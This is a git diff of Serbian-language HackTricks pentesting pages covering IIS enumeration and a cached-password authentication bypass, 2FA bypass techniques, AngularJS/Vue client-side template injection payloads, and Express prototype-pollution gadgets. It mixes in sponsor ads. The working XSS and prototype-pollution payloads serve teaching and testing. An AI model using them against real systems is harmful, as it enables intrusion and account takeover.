U scenariju gde DLL uvozi namespace pod nazivom **WebApplication1.Areas.Minded**, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, poput **/area-name/Views/**, koji sadrže specifične konfiguracije i reference ka drugim DLL-ovima u /bin folderu. Na primer, zahtev ka **/Minded/Views/web.config** može otkriti konfiguracije i namespace-ove koji ukazuju na prisustvo još jednog DLL-a, **WebApplication1.AdditionalFeatures.dll**.
### Zajednički fajlovi
@ -203,7 +217,7 @@ Ako vidite grešku kao što je sledeća:
To znači da server **nije primio tačno ime domena** unutar zaglavlja Host.\
Da biste pristupili veb stranici, možete pogledati posluženi **SSL sertifikat** i možda pronaći ime domena/poddomena tamo. Ako ga nema, možda ćete morati **bruteforce VHosts** dok ne pronađete tačan.
## Stare ranjivosti IIS-a koje vredi istražiti
## Stare ranjivosti IIS-a vredne istraživanja
### Microsoft IIS tilde karakter "\~" Ranjivost/Funkcija - Otkrivanje kratkog imena datoteke/foldera
@ -230,7 +244,7 @@ ASP.NET uključuje režim debagovanja, a njegova datoteka se zove `trace.axd`.
Čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
Ove informacije uključuju udaljene IP adrese klijenata, ID-ove sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvornom kodu, a možda čak i korisnička imena i lozinke.
Ove informacije uključuju udaljene IP adrese klijenata, ID-ove sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvornom kodu, i potencijalno čak korisnička imena i lozinke.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -248,7 +262,7 @@ ASPXAUTH koristi sledeće informacije:
Međutim, neki ljudi će koristiti **podrazumevane vrednosti** ovih parametara i koristiće kao **kolačić email korisnika**. Stoga, ako pronađete veb koji koristi **istu platformu** koja koristi ASPXAUTH kolačić i **kreirate korisnika sa emailom korisnika kog želite da predstavljate** na serveru pod napadom, možda ćete moći da koristite **kolačić sa drugog servera na prvom** i predstavljate korisnika.\
Ovaj napad je uspeo u ovom [**izveštaju**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass autentifikacije IIS-a sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
## IIS Bypass autentifikacije sa keširanim lozinkama (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Ceo izveštaj ovde](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Greška u kodu **nije pravilno proveravala lozinku koju je dao korisnik**, tako da će napadač čiji **hash lozinke pogodi ključ** koji već postoji u **kešu** moći da se prijavi kao taj korisnik.
```python
@ -270,16 +284,28 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-webom** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,11 +14,25 @@ Drugi načini podrške HackTricks-u:
</details>
## **Tehnike Bajpasovanja Unapređene Dvostruke Verifikacije Identiteta (2FA)**
## WhiteIntel
### **Direktan Pristup Krajnjem Čvoru**
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Zaobiđite 2FA pristupajući direktno narednom čvoru, znajući putanju je ključno. Ukoliko ne uspete, promenite **Referrer header** da oponašate navigaciju sa stranice za verifikaciju 2FA.
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## **Tehnike Bajpasovanja Unapređene Dvostruke Autentifikacije**
### **Direktan Pristup Krajnjoj Tački**
Zaobiđite 2FA, pristupite narednoj krajnjoj tački direktno, poznavanje putanje je ključno. Ako ne uspete, promenite **Referrer header** da imitirate navigaciju sa stranice za verifikaciju 2FA.
### **Ponovna Upotreba Tokena**
@ -26,23 +40,23 @@ Ponovna upotreba prethodno korišćenih tokena za autentifikaciju unutar naloga
### **Korišćenje Neiskorišćenih Tokena**
Pokušajte da izvučete token iz svog naloga kako biste zaobišli 2FA u drugom nalogu.
Pokušajte izvući token iz svog naloga kako biste zaobišli 2FA u drugom nalogu.
### **Otkrivanje Tokena**
Istražite da li je token otkriven u odgovoru web aplikacije.
Istražite da li je token otkriven u odgovoru veb aplikacije.
### **Eksploatacija Verifikacionog Linka**
Korišćenje **verifikacionog linka poslatog putem email-a prilikom kreiranja naloga** može omogućiti pristup profilu bez 2FA, kao što je istaknuto u detaljnom [postu](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
Korišćenje **verifikacionog linka poslatog putem e-pošte prilikom kreiranja naloga** može omogućiti pristup profilu bez 2FA, kako je istaknuto u detaljnom [postu](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
### **Manipulacija Sesijom**
Pokretanje sesija za nalog korisnika i žrtve, i završavanje 2FA za korisnički nalog bez nastavka, omogućava pokušaj pristupa sledećem koraku u toku žrtvinog naloga, eksploatišući ograničenja upravljanja sesijama na backend-u.
Pokretanje sesija za nalog korisnika i žrtve, i završavanje 2FA za korisnički nalog bez nastavka, omogućava pokušaj pristupa sledećem koraku u toku žrtvinog naloga, eksploatišući ograničenja upravljanja sesijama na serverskoj strani.
### **Mehanizam Resetovanja Lozinke**
Istraživanje funkcije resetovanja lozinke, koja korisnika prijavljuje u aplikaciju nakon resetovanja, zbog potencijala da omogući višestruka resetovanja korišćenjem istog linka je ključno. Prijavljivanje sa novim resetovanim podacima može zaobići 2FA.
Istraživanje funkcije resetovanja lozinke, koja korisnika prijavljuje u aplikaciju nakon resetovanja, zbog potencijala da omogući višestruka resetovanja korišćenjem istog linka je ključno. Prijavljivanje sa novim resetovanim pristupnim podacima može zaobići 2FA.
### **Kompromitacija OAuth Platforme**
@ -76,15 +90,15 @@ Prekomerno slanje kodova putem SMS-a donosi troškove kompaniji, mada ne zaobila
#### **Beskonačna Regeneracija OTP-a**
Beskonačna regeneracija OTP-a sa jednostavnim kodovima omogućava brute force pokušajem ponovnog pokušaja male grupe kodova.
Beskonačna generacija OTP-a sa jednostavnim kodovima omogućava brute force pokušajem ponovnog pokušaja malog skupa kodova.
### **Eksploatacija Trke Uslova**
Eksploatisanje trke uslova za zaobilaženje 2FA može se naći u specifičnom dokumentu.
Eksploatacija trke uslova za zaobilaženje 2FA može se naći u specifičnom dokumentu.
### **CSRF/Clickjacking Ranjivosti**
Istraživanje CSRF ili Clickjacking ranjivosti radi onemogućavanja 2FA je izvodljiva strategija.
Istraživanje CSRF ili Clickjacking ranjivosti za onemogućavanje 2FA je izvodljiva strategija.
### **Eksploatacija Funkcije "Zapamti Me"**
@ -94,7 +108,7 @@ Pogađanje vrednosti kolačića "zapamti me" može zaobići ograničenja.
#### **Imitacija IP Adrese**
Imitiranje IP adrese žrtve putem **X-Forwarded-For** zaglavlja može zaobići ograničenja.
Imitacija IP adrese žrtve putem **X-Forwarded-For** zaglavlja može zaobići ograničenja.
### **Korišćenje Starijih Verzija**
@ -108,9 +122,9 @@ Starije verzije API-ja, naznačene putanjama direktorijuma /v\*/, mogu biti ranj
### **Rukovanje Prethodnim Sesijama**
Završavanje postojećih sesija prilikom aktivacije 2FA štiti naloge od neovlašćenog pristupa kompromitovanih sesija.
Završavanje postojećih sesija prilikom aktivacije 2FA štiti naloge od neovlašćenog pristupa iz kompromitovanih sesija.
### **Greške Kontrole Pristupa sa Rezervnim Kodovima**
### **Propusti Kontrole Pristupa sa Rezervnim Kodovima**
Odmah generisanje i potencijalno neovlašćeno preuzimanje rezervnih kodova prilikom aktivacije 2FA, posebno sa CORS greškama/XSS ranjivostima, predstavlja rizik.
@ -120,27 +134,13 @@ Otkrivanje osetljivih informacija (npr. broj telefona) na stranici za verifikaci
### **Onemogućavanje Resetovanja Lozinke 2FA**
Proces koji demonstrira potencijalnu metodu zaobilaženja uključuje kreiranje naloga, aktivaciju 2FA, resetovanje lozinke i naknadnu prijavu bez zahteva za 2FA.
Proces koji demonstrira potencijalnu metodu zaobilaženja uključuje kreiranje naloga, aktivaciju 2FA, resetovanje lozinke i naknadno prijavljivanje bez zahteva za 2FA.
### **Lažni Zahtevi**
Korišćenje lažnih zahteva za prikrivanje pokušaja brute force ili dezinformisanje mehanizama ograničenja brzine dodaje još jedan sloj strategijama zaobilaženja. Izrada takvih zahteva zahteva nijansirano razumevanje sigurnosnih mera aplikacije i ponašanja ograničenja brzine.
Korišćenje lažnih zahteva za prikrivanje pokušaja brute force ili zavaravanje mehanizama ograničenja brzine dodaje još jedan sloj strategijama zaobilaženja. Oblikovanje takvih zahteva zahteva nijansirano razumevanje sigurnosnih mera aplikacije i ponašanja ograničenja brzine.
## Reference
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,18 +12,31 @@ Drugi načini podrške HackTricks-u:
</details>
## WhiteIntel
# Summary
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali na **klijentskoj strani**. **SSTI** vam može omogućiti da **izvršite kod** na udaljenom serveru, dok bi **CSTI** mogao omogućiti izvršavanje proizvoljnog JavaScript koda u browseru žrtve.
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
**Testiranje** ove ranjivosti je veoma **slično** kao i u slučaju **SSTI**, interpreter očekuje **šablon** i izvršiće ga. Na primer, sa payload-om poput `{{ 7-7 }}`, ako je aplikacija **ranjiva**, videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
# Rezime
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/), ali na **klijentskoj strani**. **SSTI** vam može omogućiti da **izvršite kod** na udaljenom serveru, dok bi **CSTI** mogao da vam omogući da **izvršite proizvoljni JavaScript** kod u pretraživaču žrtve.
**Testiranje** ove ranjivosti je veoma **slično** kao i u slučaju **SSTI**, interpretator očekuje **šablon** i izvršiće ga. Na primer, sa payload-om poput `{{ 7-7 }}`, ako je aplikacija **ranjiva**, videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
# AngularJS
AngularJS je široko korišćen JavaScript okvir koji interaguje sa HTML-om putem atributa poznatih kao direktive, od kojih je jedna od značajnijih **`ng-app`**. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
U scenarijima gde korisnički unos dinamički bude ubačen u telo HTML označeno sa `ng-app`, moguće je izvršiti proizvoljan JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su primeri koji pokazuju kako se može izvršiti JavaScript kod:
U scenarijima gde se korisnički unos dinamički ubacuje u telo HTML označeno sa `ng-app`, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su primeri koji pokazuju kako se može izvršiti JavaScript kod:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -32,7 +45,7 @@ U scenarijima gde korisnički unos dinamički bude ubačen u telo HTML označeno
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Možete pronaći vrlo **osnovni online primer** ranjivosti u **AngularJS** na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i na **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
Možete pronaći vrlo **osnovni online primer** ove ranjivosti u **AngularJS** na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i na **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 je uklonio pesak**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `<input ng-focus=$event.view.alert('XSS')>` treba da funkcioniše.
@ -48,19 +61,19 @@ I **izvorni kod** ranjivog primera možete pronaći ovde: [https://github.com/az
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
## **V3**
## **V3**
Jedan zaista dobar post o CSTI u VUE-u može se pronaći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
Jedan zaista dobar post o CSTI u VUE može se pronaći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
```
{{_openBlock.constructor('alert(1)')()}}
```
Zasluga: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
Kredit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Zasluga: [Mario Heiderich](https://twitter.com/cure53berlin)
Kredit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Proverite više VUE payloada na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
@ -86,6 +99,17 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
@ -97,6 +121,6 @@ Drugi načini podrške HackTricks-u:
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# Gadgeti za prototipno zagađivanje u Express-u
# Ekspres Prototip Pollution Gadžeti
<details>
@ -6,21 +6,35 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Služi XSS odgovore
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Posluži XSS odgovore
**Za dalje detalje [pogledajte originalno istraživanje](https://portswigger.net/research/server-side-prototype-pollution)**
### Promeni JSON content-type u HTML
U Express aplikaciji koja koristi **JSON content type odgovor** i reflektuje JSON:
U Express aplikaciji koristi **JSON content type odgovor** i reflektujući JSON:
```javascript
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
@ -28,15 +42,15 @@ _.merge({}, req.body);
res.send(req.body);
});
```
U ovim slučajevima XSS obično nije moguć sa JSON sadržajem. Međutim, pomoću proto-poluacije možemo **zbuniti Express da posluži HTML odgovor.** Ova ranjivost se oslanja na aplikaciju koja koristi **`res.send(obj)`** i koristi body parser sa application/json sadržajem.
U ovim slučajevima XSS obično nije moguć sa JSON sadržajem. Međutim, pomoću prototype pollution-a možemo **zbuniti Express da posluži HTML odgovor.** Ova ranjivost se oslanja na aplikaciju koja koristi **`res.send(obj)`** i koristi body parser sa application/json sadržajem.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Zagađivanjem svojstava **`body`** i **`_body`**, moguće je naterati **Express da servira sadržaj HTML tipa** i reflektuje svojstvo `_body`, što rezultira uskladištenim XSS-om.
Kroz **zagađenje** svojstava **`body`** i **`_body`**, moguće je izazvati da **Express posluži HTML sadržaj** i odrazi svojstvo `_body`, što rezultira sačuvanim XSS-om.
### Renderovanje UTF7
Moguće je naterati Express da **renderuje UTF-7 sadržaj sa**:
Moguće je naterati express da **renderuje UTF-7 sadržaj sa**:
```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```
@ -44,25 +58,25 @@ Moguće je naterati Express da **renderuje UTF-7 sadržaj sa**:
### JSON razmaci
Sledeći PP će dodati dodatni razmak unutar atributa JSON-a koji neće narušiti funkcionalnost:
Sledeći PP će učiniti da atributi unutar JSON-a imaju dodatni razmak koji neće narušiti funkcionalnost:
```json
{"__proto__":{"json spaces": " "}}
```
Onda će reflektovani JSON izgledati ovako:
Zatim će reflektovani JSON izgledati ovako:
```json
{"foo": "bar"} -- Note the extra space
```
### Izloženi zaglavlja
Sledeći PP gedžet će naterati server da vrati HTTP zaglavlje: **`Access-Control-Expose_headers: foo`**
Sledeći PP gedžet će naterati server da pošalje HTTP zaglavlje: **`Access-Control-Expose_headers: foo`**
```json
{"__proto__":{"exposedHeaders":["foo"]}}
```
Potrebno je da je instaliran **CORS modul**
### **OPTIONS metoda**
### **OPTIONS Metod**
Sa sledećim payload-om, moguće je **sakriti metod iz OPTIONS odgovora**:
Pomoću sledećeg payload-a, moguće je **sakriti metod iz OPTIONS odgovora**:
```javascript
// Original reponse: POST,GET,HEAD
@ -73,24 +87,24 @@ Sa sledećim payload-om, moguće je **sakriti metod iz OPTIONS odgovora**:
```
### **Status**
Moguće je promeniti **vraćeni statusni kod** koristeći sledeći PP payload:
Moguće je promeniti **vraćeni statusni kod** korišćenjem sledećeg PP payload-a:
```json
{"__proto__":{"status":510}}
```
### Greška
Kada dodelite prototipu primitivnu vrednost kao što je string, to proizvodi **operaciju bez efekta jer prototip mora biti objekat**. Ako pokušate da dodelite objekat prototipu `Object.prototype` samom sebi, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da **detektujemo da li je uspešno izvršeno zagađivanje prototipa**:
Kada dodelite prototipu primitivnu vrednost poput stringa, to proizvodi **operaciju bez efekta jer prototip mora biti objekat**. Ako pokušate da dodelite prototipni objekat samom `Object.prototype`, to će **izazvati izuzetak**. Možemo koristiti ova dva ponašanja da bismo **detektovali da li je prototipno zagađenje uspešno**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
```
### Reflektovana vrednost
Kada aplikacija uključuje objekat u svoj odgovor, stvaranje atributa sa **neobičnim imenom pored `__proto__`** može biti informativno. Konkretno, ako se u odgovoru vrati samo neobični atribut, to može ukazivati na ranjivost aplikacije:
Kada aplikacija uključi objekat u svoj odgovor, kreiranje atributa sa **neobičnim imenom pored `__proto__`** može biti informativno. Konkretno, ako je **samo neobični atribut vraćen** u odgovoru, to bi moglo ukazivati na ranjivost aplikacije:
```json
{"unusualName":"value","__proto__":"test"}
```
Osim toga, u scenarijima u kojima se koristi biblioteka poput Lodash-a, postavljanje svojstva putem zagađivanja prototipa (PP) i izravno unutar objekta nudi još jedan dijagnostički pristup. Ako se takvo svojstvo izostavi iz odgovora, to ukazuje da Lodash provjerava postojanje svojstva u ciljnom objektu prije spajanja:
Osim toga, u scenarijima gde se koristi biblioteka poput Lodash-a, postavljanje svojstva i putem proto-izmena (PP) i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljnom objektu pre spajanja:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
@ -99,8 +113,8 @@ Osim toga, u scenarijima u kojima se koristi biblioteka poput Lodash-a, postavlj
### Dozvoli tačke
Postoji opcija u Express-u koja vam omogućava da **kreirate objekte iz parametara upita**.\
Svakako je možete koristiti u lancu grešaka da biste iskoristili **ranjivost prototipnog zagađenja**.
Postoji opcija u Express-u koja vam omogućava da **kreirate objekte iz parametara upita u nizu**.\
Svakako biste je mogli koristiti u nizu grešaka da iskoristite **ranjivost prototipa zagađenja**.
```json
{"__proto__":{"allowDots":true}}
```
@ -110,16 +124,29 @@ Svakako je možete koristiti u lancu grešaka da biste iskoristili **ranjivost p
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomverom koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
